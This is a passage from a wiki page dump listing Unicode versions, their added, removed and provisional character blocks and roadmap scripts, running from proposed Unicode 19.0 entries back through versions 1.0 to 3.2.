* A meteor, eraser, net with handle, monarch butterfly, pickle, cracking face, leftwards thumb sign, and rightwards thumb sign (total 8 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA8B-1FA8D, U+1FACC, U+1FADD, U+1FAEB, U+1FAF9-1FAFA)
* An additional ideograph (total 1 character) was added to '''CJK Unified Ideographs Extension D'''. (U+2B81E)

== Unicode 19.0==
Unicode 19.0 will be released in late 2027. There are more characters targeted for this version, but they have not been confirmed yet.

=== New Blocks ===
* '''CJK Unified Ideographs Components-A''' (U+2FA20-U+2FA9F), containing 119 characters, will be added.
* '''CJK Unified Ideographs Components-B''' (U+2FAA0-U+2FC1F), containing 375 characters, will be added.

== Code Points Provisionally Assigned==
This is a section where you can add any upcoming Unicode characters that have been [https://www.unicode.org/alloc/Pipeline.html#codepoint_reservation provisionally assigned for mature proposals] (but not yet accepted) for a future update of The Unicode Standard.

=== New Blocks ===
* '''Arabic Extended-D''' (U+10D90-U+10E5F), containing 3 characters, will be added.
* '''Sirmauri''' (U+11850-U+1188F), containing 55 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Leke''' (U+11B80-U+11BBF), containing 55 characters, will be added.
* '''Proto-Cuneiform''' (U+12690-U+12ECF), containing 1392 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Chisoi''' (U+16D80-U+16DAF), containing 40 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Mwangwego''' (U+16E00-U+16E3F), containing 64 characters, will be added.
* '''Shaaldaa''' (U+1C800-U+1CB2F), containing 804 characters, will be added.
* '''Leibnizian Ambiguous Signs''' (U+1DC00-U+1DC3F), containing 54 characters, will be added.)&lt;!--target: 19.0--&gt;

=== Extended Blocks ===
* Telugu Sign Spacing Candrabindu (total 1 character) will be added to '''Telugu'''. (U+0C70)&lt;!--target: 19.0--&gt;
* Kannada Signs Ardhanusvara and Combining Anusvara Above (total 1 character) will be added to '''Kannada'''. (U+0CF0 and U+0CF4)&lt;!--target: 19.0--&gt;
* Mongolian Letter Manchu Alternative Ue (total 1 character) will be added to '''Mongolian'''. (U+1879)
* Combining Grave-Acute-Macron, Combining inverted lazy s Above, and Combining comma Above and acute (total 3 characters) will be added to '''Combining Diacritical Marks Extended'''. (U+1AF1-U+1AF3)
* Cyrillic small letter Yeru with connecting bar (total 1 character) will be added to '''Cyrillic Extended-C'''. (U+1C8B)&lt;!--target: 19.0--&gt;
* Belarusian Ruble sign and Ruble sign with double vertical stem (total 2 characters) will be added to '''Currency Symbols'''. (U+20C5, U+20CF)&lt;!--20C5 target: 19.0--&gt;
* Combining Long Triple Solidus Overlay and Combining Saltire Overlay (total 2 characters) will be added to '''Combining Diacritical Marks for Symbols'''. (U+20F1-U+20F2)&lt;!--target: 19.0--&gt;
* Latin capital and small letter i with oblique stroke (total 2 characters) will be added to '''Latin Extended-D'''. (U+A7DE-U+A7DF)
* Latin capital letter u with left hook (total 1 character) will be added to '''Latin Extended-E'''. (U+AB6E)&lt;!--target: 19.0--&gt;
* Arabic Dotless Half-Yeh, Half-Yeh, Dotless Half-Jeem and Astronomical Kaf (total 4 characters) will be added to '''Arabic Extended-C'''. (U+10EC0-U+10EC1, U+10EC8, U+10EEF)&lt;!--10EC0-10EC1 target: 19.0--&gt;
* Brahmi minimizing virama (total 1 character) will be added to '''Brahmi'''. (U+1107E)&lt;!--target: 19.0--&gt;
* Tulu-Tigalari letter combining anusvara above, signs om pushpika with tail and shrii pushpika, and letter archaic II (total 5 characters) will be added to '''Tulu-Tigalari'''. (U+113CB, U+113D9-U+113DB)&lt;!--target: 19.0--&gt;
* Newa Letter Heavy Ya (total 1 character) will be added to '''Newa'''. (U+11462)
* Dogra Signs Candrabindu and Avaragha (total 2 characters) will be added to '''Dogra'''. (U+1183C-U+1183D)&lt;!--target: 19.0--&gt;
* Devanagari Jivamuliya and Upadhmaniya (total 2 characters) will be added to '''Devanagari Extended-A'''. (U+11B0B-U+11B0C)&lt;!--target: 19.0--&gt;
* White Ideographic Comma and Double Ideographic Full Stop (total 2 characters) will be added to '''Ideographic Symbols and Punctuation'''. (U+16FE5-U+16FE6)&lt;!--target: 19.0--&gt;
* Alchemical Symbol for Calx-2 and Alchemical Symbol for Retort-2 (total 2 characters) will be added to '''Miscellaneous Symbols Supplement'''. (U+1CED1, U+1CED5)&lt;!--target: 19.0--&gt;
* Musical Symbol down arrowhead breath mark (total 1 character) will be added to '''Musical Symbols Supplement'''. (U+1D282)
* Small w with palatal hook, small n and r with double middle tilde, small capital i with retroflex hook, small open q, x with stroke, small wavy y, schwa with right hook, Romance dialectology symbols, zh ligature, Albanian letter edhe, Albanian Frashëri letters, Modifier letter capital y, and modifier letter accents (total 26 characters) will be added to '''Latin Extended-G'''. (U+1DF82-U+1DF8F, U+1DF97-U+1DFA3, U+1DFC4-U+1DFCC)&lt;!--1DF82-1DF8A, 1DFC5-1DFCC target: 19.0--&gt;
*Arabic Astronomical zero and five astronomical symbols (total 6 characters) will be added to Arabic Mathematical Alphabetic Symbols (U+1EEE0-U+1EEE5)

==Roadmap Blocks==
This is a section where proportional maps of proposed allocations to Unicode and ISO/IEC 10646 are presented. Italic indicates scripts for which detailed proposals have not yet been written.&lt;ref&gt;[https://unicode.org/roadmaps/smp/]&lt;/ref&gt;

* '''Northern Palaeohispanic''' (U+10200-U+1023F)
* '''Southern Palaeohispanic''' (U+10240-U+1027F)
* '''''Shavian Quikscript''' (U+103E0-U+103FF)''
* '''Combining Diacritical Marks Extended-A''' (U+107C0-U+107FF)
* '''Proto-Sinaitic''' (U+108B0-U+108DF)
* '''''Numidian''' (U+10960-U+1097F)''
* '''Balti''' (U+10AA0-U+10ABF)
* '''Book Pahlavi''' (U+10BB0-U+10BDF)
* '''Baburi''' (U+10BE0-U+10BFF)
* '''Arabic Extended-D''' (U+10D90-U+10E5F)
* '''Landa''' (U+11250-U+1127F)
* '''Tani Lipi''' (U+114E0-U+114FF)
* '''Ranjana''' (U+11500-U+1157F)
* '''Zou''' (U+11750-U+117AF)
* '''Pyu''' (U+117B0-U+117FF)
* '''Vateluttu''' (U+11960-U+1199F)
* '''Balti-B''' (U+11CC0-U+11CFF)
* '''Tocharian''' (U+11E00-U+11E6F)
* '''Khotanese''' (U+11E70-U+11ECF)
* '''Pallava''' (U+11F60-U+11FAF)
* '''''Egyptian Hieroglyphs Extended-B''' (U+14680-U+151FF)''
* '''Mayan Hieroglyphs''' (U+15500-U+15AFF)
* '''Kore Sebeli''' (U+15B00-U+15B6F)
* '''Mandombe''' (U+15B80-U+15FFF)
* '''Wei Rma''' (U+16000-U+1604F)
* '''Wagindara''' (U+16050-U+1607F)
* '''Kurukh Banna''' (U+16140-U+1618F)
* '''Moon''' (U+161A0-U+161FF)
* '''Blissymbols''' (U+16200-U+167FF)
* '''Woleai''' (U+16B90-U+16BFF)
* '''Kpelle''' (U+16C00-U+16C7F)
* '''Tikamuli''' (U+16C80-U+16CBF)
* '''Tangsa (Khimhun)''' (U+16CD0-U+16CFF)
* '''Afaka''' (U+16D00-U+16D3F)
* '''Kulitan''' (U+16DD0-U+16DFF)
* '''''Bopomofo Extended-A''' (U+16FA0-U+16FAF)''
* '''Kanbun Extended-A''' (U+16FB0-U+16FDF)
* '''Khitan Large Script''' (U+19200-U+199FF)
* '''Pau Cin Hau Syllabary''' (U+19E00-U+1A2FF)
* '''Eskaya''' (U+1A300-U+1A75F)
* '''Rejang Extended''' (U+1A760-U+1A77F)
* '''''Kaida''''' (U+1A780-U+1A7FF)
* '''Naxi Dongba''' (U+1A800-U+1ACFF)
* '''''Naxi Geba''' (U+1AD00-U+1AFCF)''
* '''''Kana Extended-C''' (U+1AFD0-U+1AFEF)''
* '''Shuishu Logograms''' (U+1B300-U+1B5FF)
* '''Lisu Syllabic Script''' (U+1B600-U+1B9FF)
* '''Indus''' (U+1BA00-U+1BB8F)
* '''Pitman Shorthand''' (U+1BCB0-U+1BCFF)
* '''Proto-Elamite''' (U+1BE00-U+1C37F)
* '''Linear Elamite''' (U+1C380-U+1C4FF)
* '''Ndiko Jonam''' (U+1CB30-U+1CB7F)
* '''N&lt;nowiki&gt;'&lt;/nowiki&gt;ti''' (U+1CB80-U+1CBAF)
* '''Old Chinese Musical Symbols (Flute and Pipa)''' (U+1D290-U+1D2BF)
* '''''Mathematical Alphanumeric Symbols Supplement''' (U+1D380-U+1D3FF)''
* '''Jianzi Format Controls''' (U+1DAE0-U+1DAFF)
* '''Eebee Hmong''' (U+1E150-U+1E1FF)
* '''Western Cham''' (U+1E200-U+1E26F)
* '''Loma''' (U+1E300-U+1E41F)
* '''Bagam''' (U+1E420-U+1E4CF)
* '''Pungchen''' (U+1E500-U+1E52F)
* '''''Pungchung''' (U+1E530-U+1E55F)''
* '''''Marchung''' (U+1E560-U+1E59F)''
* '''Brusha''' (U+1E5A0-U+1E5CF)
* '''''Chola''' (U+1E600-U+1E65F)''
* '''Box-Headed''' (U+1E660-U+1E6BF)
* '''Lampung''' (U+1E700-U+1E73F)
* '''Kerinci''' (U+1E740-U+1E76F)
* '''Buginese Supplement''' (U+1E770-U+1E7BF)
* '''''Lontara Bilang-Bilang''' (U+1E7C0-U+1E7DF)''
* '''N'Ko Supplement''' (U+1E960-1E97F)
* '''''Byblos''''' (U+1EB90-U+1EBFF)
* '''Persian Siyaq Numbers''' (U+1EC00-U+1EC7F)
* '''Diwani Siyaq Numbers''' (U+1ECC0-U+1ECFF)
* '''''Extended Pictographic Characters''' (U+1FC00-U+1FFFF)''

== References ==
{{reflist}}</text>
      <sha1>pk1y7jykud9z4ok99iee5namk1ygl9b</sha1>
    </revision>
    <revision>
      <id>4670498</id>
      <parentid>4670496</parentid>
      <timestamp>2026-09-16T19:21:08Z</timestamp>
      <contributor>
        <username>Alexlatham96</username>
        <id>377450</id>
      </contributor>
      <comment>/* Extended blocks */</comment>
      <origin>4670498</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="129976" sha1="sonkn1hq49tpbvls3y1ary5ctp282oj" xml:space="preserve">{{pp-protected|small=yes}}
{{Unicode page}}
{{TOC right}}
{{refimprove|date=June 2017}}
This page is about each version specification, and the differences between the versions.

== Unicode 1.0 ==

Unicode 1.0 was the first version of Unicode, released October 1991. It encoded 7,094 new characters.

=== “Blocks” ===
This version of Unicode did not formally group characters in blocks. But in comparison with version 2.0, the following “blocks” were available:
U+0000-U+FFFD
51 Blocks
* '''Basic Latin (formerly called ASCII)''' (U+0000-U+007F), containing 128 characters.
* '''Latin-1 Supplement (formerly called Latin1)'''  (U+0080-U+00FF), containing 128 characters.
* '''Latin Extended-A''' '''(formerly called European Latin)''' (U+0100-U+017F), containing 127 characters.
* '''Latin Extended-B''' '''(formerly called Extended Latin)''' (U+0180-U+01FF), containing 113 characters.
* '''IPA Extensions''' '''(formerly called Standard Phonetic)''' (U+0250-U+02AF), containing 89 characters.
* '''Spacing Modifier Letters''' '''(formerly called Modifier Letters)''' (U+02B0-U+02FF), containing 57 characters.
* '''Combining Diacritical Marks''' '''(formerly called Generic Diacritical Marks)''' (U+0300-U+036F), containing 66 characters.
* '''Greek and Coptic''' '''(formerly called Greek)''' (U+0370-U+03FF), containing 112 characters.
* '''Cyrillic''' (U+0400-U+04FF), containing 192 characters.
* '''Armenian''' (U+0530-U+058F), containing 84 characters.
* '''Hebrew''' (U+0590-U+05FF), containing 52 characters.
* '''Arabic''' (U+0600-U+06FF), containing 169 characters.
* '''Devanagari''' (U+0900-U+097F), containing 104 characters.
* '''Bengali''' (U+0980-U+09FF), containing 89 characters.
* '''Gurmukhi''' (U+0A00-U+0A7F), containing 74 characters.
* '''Gujarati''' (U+0A80-U+0AFF), containing 75 characters.
* '''Oriya''' (U+0B00-U+0B7F), containing 78 characters.
* '''Tamil''' (U+0B80-U+0BFF), containing 61 characters.
* '''Telugu''' (U+0C00-U+0C7F), containing 80 characters.
* '''Kannada''' (U+0C80-U+0CFF), containing 80 characters.
* '''Malayalam''' (U+0D00-U+0D7F), containing 78 characters.
* '''Thai''' (U+0E00-U+0E7F), containing 92 characters.
* '''Lao''' (U+0E80-U+0EFF), containing 70 characters.
* '''Tibetan''' (U+1000-U+105F), containing 71 characters.
* '''Georgian''' (U+10A0-U+10FF), containing 78 characters.
* '''General Punctuation''' (U+2000-U+206F), containing 67 characters.
* '''Superscripts and Subscripts''' (U+2070-U+209F), containing 28 characters.
* '''Currency Symbols''' (U+20A0-U+20CF), containing 11 characters.
* '''Combining Marks for Symbols''' '''(formerly called Diacritical Marks for Symbols)''' (U+20D0-U+20FF), containing 18 characters.
* '''Letterlike Symbols''' (U+2100-U+214F), containing 57 characters.
* '''Number Forms''' (U+2150-U+218F), containing 48 characters.
* '''Arrows''' (U+2190-U+21FF), containing 91 characters.
* '''Mathematical Operators''' (U+2200-U+22FF), containing 242 characters.
* '''Miscellaneous Technical''' (U+2300-U+23FF), containing 43 characters.
* '''Control Pictures''' '''(formerly called Pictures for Control Codes)''' (U+2400-U+243F), containing 37 characters.
* '''Optical Character Recognition''' (U+2440-U+245F), containing 11 characters.
* '''Enclosed Alphanumerics''' (U+2460-U+24FF), containing 139 characters.
* '''Box Drawing''' '''(formerly called Form and Chart Components)''' (U+2500-U+257F), containing 128 characters.
* '''Block Elements''' '''(formerly called Blocks)''' (U+2580-U+259F), containing 22 characters.
* '''Geometric Shapes''' (U+25A0-U+25FF), containing 79 characters.
* '''Miscellaneous Symbols''' '''(formerly called Miscellaneous Dingbats)''' (U+2600-U+26FF), containing 106 characters.
* '''Dingbats''' '''(formerly called Zapf Dingbats)''' (U+2700-U+27BF), containing 160 characters.
* '''CJK Symbols and Punctuation''' (U+3000-U+303F), containing 56 characters.
* '''Hiragana''' (U+3040-U+309F), containing 90 characters.
* '''Katakana''' (U+30A0-U+30FF), containing 90 characters.
* '''Bopomofo''' (U+3100-U+312F), containing 40 characters.
* '''Hangul Compatibility Jamo (formerly called Hangul Elements)''' (U+3130-U+318F), containing 94 characters.
* '''Kanbun (formerly called CJK Miscellaneous)''' (U+3190-U+31FF), containing 16 characters.
* '''Enclosed CJK Letters and Months''' '''(formerly called''' '''Enclosed CJK Letters and Ideographs)''' (U+3200-U+32FF), containing 191 characters.
* '''CJK Compatibility''' '''(formerly called CJK Squared Words for U+3300-U+337F and CJK Squared Abbreviations for U+3380-33FF)''' (U+3300-U+33FF), containing 187 characters.
* '''Hangul''' (U+3400-U+3D2D), containing 2,350 characters.
* '''Private Use Area''' (U+E000-U+FDFF), reserved for 5,632 characters.
* '''CJK Compatibility Forms''' '''(formerly called CNS 11643 Compatibility)''' (U+FE30-U+FE4F), containing 28 characters.
* '''Small Form Variants''' '''(formerly called Small Variants)''' (U+FE50-U+FE6F), containing 26 characters.
* '''Arabic Presentation Forms-B''' '''(formerly called Basic Glyphs for Arabic Language)''' (U+FE70-U+FEFF), containing 140 characters.
* '''Halfwidth and Fullwidth Forms''' '''(formerly called Halfwidth and Fullwidth Variants)''' (U+FF00-U+FFEF), containing 216 characters.
* '''Specials''' '''(formerly called Special)''' (U+FFF0-U+FFFF), containing 1 character.

== Unicode 1.0.1 ==
Unicode 1.0.1 was released June 1992. It encoded 28,292 characters, adding 21,204 new characters and removing 6 characters, for a net increase of 21,198 characters.

=== New blocks ===

* '''CJK Unified Ideographs''' (U+4E00-U+9FFF), containing 20,902 Han Ideographs for Chinese, Japanese and Korean, was added.
* '''CJK Compatibility Ideographs''' (U+F900-U+FAFF), containing 302 Han Ideographs for compatibility with existing character sets, was added.

=== Removed characters ===
* Letters Ka and Kha with Ogonek (total 4 characters) were removed from '''Cyrillic'''. (U+04C5-U+04C6 and U+04C9-U+04CA)
* APL Compose Operator and APL Out (total 2 characters) were removed from '''Miscellaneous Technical'''. (U+2300-U+2301)

=== Rearranged characters ===
* A Japanese Industrial Standard symbol (〄) was moved from '''Enclosed CJK Letters and Months''' (U+32FF) to '''CJK Symbols and Punctuation'''. (U+3004)
*'''Circled Katakana:''' ''The characters well be arranged in modern order: e.g., A, I, U, E, O, KA, KI'' (U+32D0-U+32FE)
*'''Basic Glyphs For Arabic Language:''' ''The character shapes will be arranged in different order: Isolate, Final, Initial and Medial'' (U+FE80-FEFC)

=== Characters with semantics changed ===
*'''Zero Width Non-Joiner''' [ZWNJ] (U+20DC)

*'''Zero Width Joiner''' [ZWJ] (U+20DD)

== Unicode 1.1 ==

Unicode 1.1 was released June 1993. It encoded 34,168 characters, adding 5,969 new characters and removing 93 characters, for a net increase of 5,876 characters. It finalized the long anticipated Han Unification.

=== New blocks ===

* '''Hangul Jamo''' (U+1100-U+11FF), containing 240 ''jamo'' for the Hangul script, was added.
* '''Latin Extended Additional''' (U+1E00-U+1EFF), containing 245 precomposed characters for transliteration and Vietnamese, was added.
* '''Greek Extended''' (U+1F00-U+1FFF), containing 233 precomposed characters for polytonic Greek, was added.
* '''Hangul Supplementary-A''' (U+3D2E-U+44B7), containing 1,930 precomposed syllables for the Hangul script, was added.
* '''Hangul Supplementary-B''' (U+44B8-U+4DFF), containing 2,376 precomposed syllables for the Hangul script, was added.
* '''Alphabetic Presentation Forms''' (U+FB00-U+FB4F), containing 57 precomposed characters and ligatures, was added.
* '''Arabic Presentation Forms-A''' (U+FB50-U+FDFF), containing 593 combinations of Arabic letters, was added.
* '''Combining Half Marks''' (U+FE20-U+FE2F), containing 4 halves of diacritical marks, was added.

=== Extended blocks ===

* The long S (ſ) (total 1 character) was added to '''Latin Extended-A'''. (U+017F)
* The Hungarian Dz, characters for transliteration purposes and precomposed characters with double grave and inverted breve (total 35 characters) were added to '''Latin Extended-B''' (U+01F1-U+01F5 and U+01FA-U+0217). The block was expanded from (U+0180-U+01FF) to (U+0180-U+024F)
* Diacritics for polytonic Greek and double width diacritics (total 6 characters) were added to '''Combining Diacritical Marks'''. (U+0342-U+0345 and U+0360-U+0361)
* Compatibility character now deprecated, Ano Teleia, and other characters (total 5 characters) were added to '''Greek and Coptic''' (U+0374-U+0375, U+037A, U+037E and U+0387).
* Additional characters for non-Slavic languages (total 38 characters) were added to '''Cyrillic'''. (U+04D0-U+04EB, U+04EE-U+04F5 and U+04F8-U+04F9)
* A ligature of Ech and Yiwn (և) (total 1 character) was added to '''Armenian'''. (U+0587)
* One deprecated compatibility character and several characters for biblical texts (total 25 characters) were added to '''Arabic'''. (U+066D and U+06D6-U+06ED)
* A sign Virama (total 1 character) was added to '''Gurmukhi''' (U+0A4D).
* Letters Candra O and E (total 3 characters) were added to '''Gujarati'''. (U+0A8D, U+0A91 and U+0AC9)
* An Ai Length mark (total 1 character) was added to '''Oriya'''. (U+0B56)
* An undertie, a pair of brackets and six formatting characters now deprecated (total 9 characters) were added to '''General Punctuation'''. (U+203F, U+2045-U+2046 and U+206A-U+206F)
* Some additional symbols and the complete set of APL functional symbols (total 79 characters) were added to '''Miscellaneous Technical'''. (U+2300 and U+232D-U+237A)
* A large circle (◯) (total 1 character) was added to '''Geometric Shapes'''. (U+25EF)
* The ideographic telegraph line feed separator symbol (〷) (total 1 character) was added to '''CJK Symbols and Punctuation'''. (U+3037)
* Four Katakana letters not in use since 1945 (total 4 characters) were added to '''Katakana'''. (U+30F7-U+30FA)
* Ideographic telegraph symbols for the twelve months (total 12 characters) were added to '''Enclosed CJK Letters and Months'''. (U+32C0-U+32CB)
* Ideographic telegraph symbols for hours and days and six additional measure units (total 62 characters) were added to '''CJK Compatibility'''. (U+3358-U+3376 and U+33E0-U+33FE)
* Some more space (total 2,304 characters) was added to the '''Private Use Area'''.
* Seven halfwidth geometric shapes (total 7 characters) were added to '''Halfwidth and Fullwidth Forms'''. (U+FFE8-U+FFEE)

=== Removed blocks ===
* '''Tibetan''', containing 71 letters for the Tibetan script, was removed from the Unicode standard.

=== Removed characters ===
* A total of 10 characters were removed from '''Greek and Coptic'''. (U+0370-U+0372, U+03D7-U+03D9, U+03DB, U+03DD, U+03DF, and U+03E1)
* Point Varika (total 1 character) was removed from ''Hebrew''. (U+05F5)
* Phonetic Order Vowel Signs (total 5 characters) were removed from '''Thai'''. (U+0E70-U+0E74)
* Phonetic Order Vowel Signs (total 5 characters) were removed from '''Lao'''. (U+0EF0-U+0EF4)
* An Ideographic Ditto Mark (total 1 character) was removed from '''CJK Symbols and Punctuation''' (U+3004) and merged with CJK Unified Ideograph-4EDD.

=== Rearranged characters ===
* Greek character U+03F3 was changed from Spacing Tonos to Letter Yot.
* A Japanese Industrial Standard symbol (〄) was moved from '''Enclosed CJK Letters and Months''' (U+32FF) to '''CJK Symbols and Punctuation'''. (U+3004)

== Unicode 2.0 ==

Unicode 2.0 was released July 1996. It encoded 38,885 characters, adding 11,373 new characters and removing 6,656 characters, for a net increase of 4,717 characters. This was the first Unicode version to reserve blocks outside of the Basic Multilingual Plane.

=== New blocks ===

* '''Hangul Syllables''' (U+AC00-U+D7AF), containing 11,172 precomposed syllables for the Hangul script, was added.
* '''High Surrogates''' (U+D800-U+DB7F), setting aside 896 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''High Private Use Surrogates''' (U+DB80-U+DBFF), setting aside 128 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''Low Surrogates''' (U+DC00-U+DFFF), setting aside 1,024 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''Supplementary Private Use Area-A''' (U+F0000-U+FFFFF), reserving 65,534 characters for private use, was added.
* '''Supplementary Private Use Area-B''' (U+100000-U+10FFFF), reserving 65,534 characters for private use, was added.

=== Reinstated blocks ===

* '''Tibetan''' (U+0F00-U+0FFF), now containing 168 characters for the Tibetan script including religious signs, was readded.

=== Removed blocks ===

* '''Hangul''', containing 2,350 precomposed syllables for the Hangul script, was removed from the Unicode standard.
* '''Hangul Supplementary-A''', containing 1,930 precomposed syllables for the Hangul script, was removed from the Unicode standard.
* '''Hangul Supplementary-B''', containing 2,376 precomposed syllables for the Hangul script, was removed from the Unicode standard.

=== Extended blocks ===

* Cantillation marks for use in religious texts (total 31 characters) were added to '''Hebrew'''. (U+0591-U+05A1, U+05A3-U+05AF and U+05C4)
* A long S with Dot Above (total 1 character) was added to '''Latin Extended Additional'''. (U+1E9B)
* A Vietnamese Dong sign (total 1 character) was added to '''Currency Symbols'''. (U+20AB)

== Unicode 2.1 ==

Unicode 2.1 was released May 1998. It encoded 38,887 characters, adding only 2 new characters.

=== Extended blocks ===

* A Euro sign (total 1 character) was added to '''Currency Symbols'''. (U+20AC)
* An Object Replacement Character (total 1 character) was added to '''Specials'''. (U+FFFC)

== Unicode 3.0 ==

Unicode 3.0 was released September 1999. It was a big update and encoded 49,194 characters, adding 10,307 new characters.

=== New blocks ===

* '''Syriac''' (U+0700-U+074F), containing 71 characters used for writing in Syriac script, was added.
* '''Thaana''' (U+0780-U+07BF), containing 49 characters used for writing in Thaana script, was added.
* '''Sinhala''' (U+0D80-U+0DFF), containing 80 characters for the Sinhala script, was added.
* '''Myanmar''' (U+1000-U+109F), containing 78 characters for the Burmese script, was added.
* '''Ethiopic''' (U+1200-U+137F), containing 345 syllables and punctuation marks for the Ethiopic script, was added.
* '''Cherokee''' (U+13A0-U+13FF), containing 85 syllables for the Cherokee script, was added.
* '''Unified Canadian Aboriginal Syllabics''' (U+1400-U+167F), containing 630 syllables and punctuation marks for writing in indigenous languages of Canada, was added.
* '''Ogham''' (U+1680-U+169F), containing 29 characters for the ancient Ogham script, was added.
* '''Runic''' (U+16A0-U+16FF), containing 81 characters for the Germanic runes, was added.
* '''Khmer''' (U+1780-U+17FF), containing 103 characters for the Khmer script, was added.
* '''Mongolian''' (U+1800-U+18AF), containing 155 characters for the classical Mongolian script, was added.
* '''Braille Patterns''' (U+2800-U+28FF), containing 256 Braille letters, was added.
* '''CJK Radicals Supplement''' (U+2E80-U+2EFF), containing 115 non-Kangxi radicals, was added.
* '''Kangxi Radicals''' (U+2F00-U+2FDF), containing 214 radicals from the Kangxi dictionary, was added.
* '''Ideographic Description Characters''' (U+2FF0-U+2FFF), containing 12 characters used to describe a Han ideograph not available in the font, was added.
* '''Bopomofo Extended''' (U+31A0-U+31BF), containing 24 characters used for phonetic transcription of minority languages of Taiwan, was added.
* '''CJK Unified Ideographs Extension A''' (U+3400-U+4DBF), containing 6,582 additional Han Ideographs, was added.
* '''Yi Syllables''' (U+A000-U+A48F), containing 1,165 syllables of the modern Yi script, was added.
* '''Yi Radicals''' (U+A490-U+A4CF), containing 50 radicals of Yi Syllables, was added.

=== Extended blocks ===

* Additional precomposed characters, letters and capital letters of lowercase-only letters (total 30 characters) were added to '''Latin Extended-B'''. (U+01F6-U+01F9, U+0218-U+021F and U+0222-U+0233)
* Extensions for disordered speech (total 5 characters) were added to '''IPA Extensions'''. (U+02A9-U+02AD)
* Some additional modifier letters (total 6 characters) were added to '''Spacing Modifier Letters'''. (U+02DF and U+02EA-U+02EE)
* Additional combining diacritics for IPA (total 10 characters) were added to '''Combining Diacritical Marks'''. (U+0346-U+034E and U+0362)
* Lowercase versions of archaic letters and the Kai symbol (total 5 characters) were added to '''Greek and Coptic'''. (U+03D7, U+03DB, U+03DD, U+03DF and U+03E1)
* Nonstandard letters for Macedonian, combining numeral signs and three letters for Kildin Sami (total 12 characters) were added to '''Cyrillic'''. (U+0400, U+040D, U+0450, U+045D, U+0488-U+0489, U+048C-U+048F and U+04EC-U+04ED)
* A Hyphen (total 1 character) was added to '''Armenian'''. (U+058A)
* Combining hamza and maddah and nine additional Arabic characters (total 12 characters) were added to '''Arabic'''. (U+0653-U+0655, U+06B8-U+06B9, U+06BF, U+06CF and U+06FA-U+06FE)
* Additional letters and religious symbols (total 25 characters) were added to '''Tibetan'''. (U+0F6A, U+0F96, U+0FAE-U+0FB0, U+0FB8, U+0FBA-U+0FBC, U+0FBE-U+0FCC and U+0FCF)
* A narrow no-break space and 6 additional punctuation marks (total 7 characters) were added to '''General Punctuation'''. (U+202F and U+2048-U+204D)
* The Kip, Tugrik and Drachma sign (total 3 characters) were added to '''Currency Symbols'''. (U+20AD-U+20AF)
* An enclosing screen and an enclosing key (total 2 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20E2-U+20E3)
* The information symbol and a rotated Q (total 2 characters) were added to '''Letterlike Symbols'''. (U+2139-U+213A)
* A mirrored Roman capital numeral hundred (Ↄ) (total 1 character) was added to '''Number Forms'''. (U+2183)
* Some additional arrows (total 9 characters) were added to '''Arrows'''. (U+21EB-U+21F3)
* Some additional technical symbols, including common keys on a 101 keyboard (total 33 characters) were added to '''Miscellaneous Technical'''. (U+2301, U+237B and U+237D-U+239A)
* Two additional control pictures (total 2 characters) were added to '''Control Pictures'''. (U+2425-U+2426)
* Squares and circles with quadrants (total 8 characters) were added to '''Geometric Shapes'''. (U+25F0-U+25F7)
* Two Syriac crosses and a signature mark (total 3 characters) were added to '''Miscellaneous Symbols'''. (U+2619 and U+2670-U+2671)
* Three Hangzhou numerals and a variation indicator (total 4 characters) were added to '''CJK Symbols and Punctuation'''. (U+3038-U+303A and U+303E)
* A ligature Yod with Hiriq (יִ) (total 1 character) was added to '''Alphabetic Presentation Forms'''. (U+FB1D)
* Three additional control characters for ruby markup (total 3 characters) were added to '''Specials'''. (U+FFF9-U+FFFB)

== Unicode 3.1 ==

Unicode 3.1 was released March 2001. It encoded 94,140 characters, adding 44,946 new characters, and mainly focused on blocks outside of the Basic Multilingual Plane.

=== New blocks ===

* '''Old Italic''' (U+10300-U+1032F), containing 35 letters for the Etruscan script, was added.
* '''Gothic''' (U+10330-U+1034F), containing 27 letters for the Gothic script, was added.
* '''Deseret''' (U+10400-U+1044F), containing 76 letters for the constructed Deseret script, was added.
* '''Byzantine Musical Symbols''' (U+1D000-U+1D0FF), containing 246 symbols for musical notation in Byzantine, was added.
* '''Musical Symbols''' (U+1D100-U+1D1FF), containing 219 characters for current musical notation, was added.
* '''Mathematical Alphanumeric Symbols''' (U+1D400-U+1D7FF), containing 991 Latin and Greek letters in serif, sans-serif, bold, italic, double-struck, script and Fraktur/Blackletter, was added.
* '''CJK Unified Ideographs Extension B''' (U+20000-U+2A6DF), containing 42,711 additional Chinese Ideographs, was added.
* '''CJK Compatibility Ideographs Supplement''' (U+2F800-U+2FA1F), containing 542 additional Chinese Ideographs for compatibility purposes, was added.
* '''Tags''', containing 97 language tags, was added. (U+E0000-U+E007F)

=== Extended noncharacters ===

* The Noncharacters range: U+FDD0..U+FDEF were added to '''Arabic Presentation Forms-A'''.

=== Extended blocks ===

* The capital Theta symbol and the Lunate Epsilon symbol (total 2 characters) were added to '''Greek and Coptic'''. (U+03F4-U+03F5)

=== Characters and Scripts Under Investigation or Rejected ===
* Khmer Sign Laak Was Rejected. (U+17DD) From '''Khmer.'''
* Georgian Letter U-Brjuu Was Rejected. From '''Georgian.'''

== Unicode 3.2 ==

Unicode 3.2 was released March 2002. It encoded 95,156 characters, adding 1,016 new characters.

=== New blocks ===

* '''Cyrillic Supplementary (now Cyrillic Supplement)''' (U+0500-U+052F), containing 16 characters used for the Komi language, was added.
* '''Tagalog''' (U+1700-U+171F), containing 20 characters for the Baybayin script, was added.
* '''Hanunoo''' (U+1720-U+173F), containing 23 characters and punctuation for the Hanunó'o script, was added.
* '''Buhid''' (U+1740-U+175F), containing 20 characters for the Buhid script, was added.
* '''Tagbanwa''' (U+1760-U+177F), containing 18 characters for the Tagbanwa script, was added.
* '''Miscellaneous Mathematical Symbols-A''' (U+27C0-U+27EF), containing 28 symbols used in math notation, was added.
* '''Supplemental Arrows-A''' (U+27F0-U+27FF), containing 16 additional arrows, was added.
* '''Supplemental Arrows-B''' (U+2900-U+297F), containing 128 special arrows, was added.
* '''Miscellaneous Mathematical Symbols-B''' (U+2980-U+29FF), containing 128 additional mathematical symbols, was added.
